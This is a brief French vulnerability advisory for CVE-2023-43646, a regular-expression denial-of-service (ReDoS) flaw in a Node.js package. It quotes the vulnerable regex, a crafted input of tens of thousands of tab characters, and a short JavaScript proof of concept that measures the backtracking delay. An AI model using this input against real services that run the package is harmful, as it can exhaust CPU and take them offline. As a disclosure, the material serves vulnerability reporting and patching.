
redos
CVE-2023-43646
CVSS : 8.6
Sep 26, 2023
ReDoS dans le paquet node.js
Dans le cadre du projet rebob
/\sfunction(?:\s|\s/[^(?:*\/)]+/\s*)*([^\(\/]+)/
Cette vulnérabilité peut être exploitée lorsqu'il y a un déséquilibre dans les parenthèses, ce qui entraîne un backtracking excessif et augmente considérablement la charge CPU et le temps de traitement. Cette vulnérabilité peut être déclenchée en utilisant l'entrée suivante :
'\t'.repeat(54773) + '\t/function/i'
Voici un simple code PoC pour démontrer le problème :
const protocolre = /\sfunction(?:\s|\s/[^(?:*\/)]+/\s*)*([^\(\/]+)/;
const startTime = Date.now();
const maliciousInput = '\t'.repeat(54773) + '\t/function/i'
protocolre.test(maliciousInput);
const endTime = Date.now();
console.log("process time: ", endTime - startTime, "ms");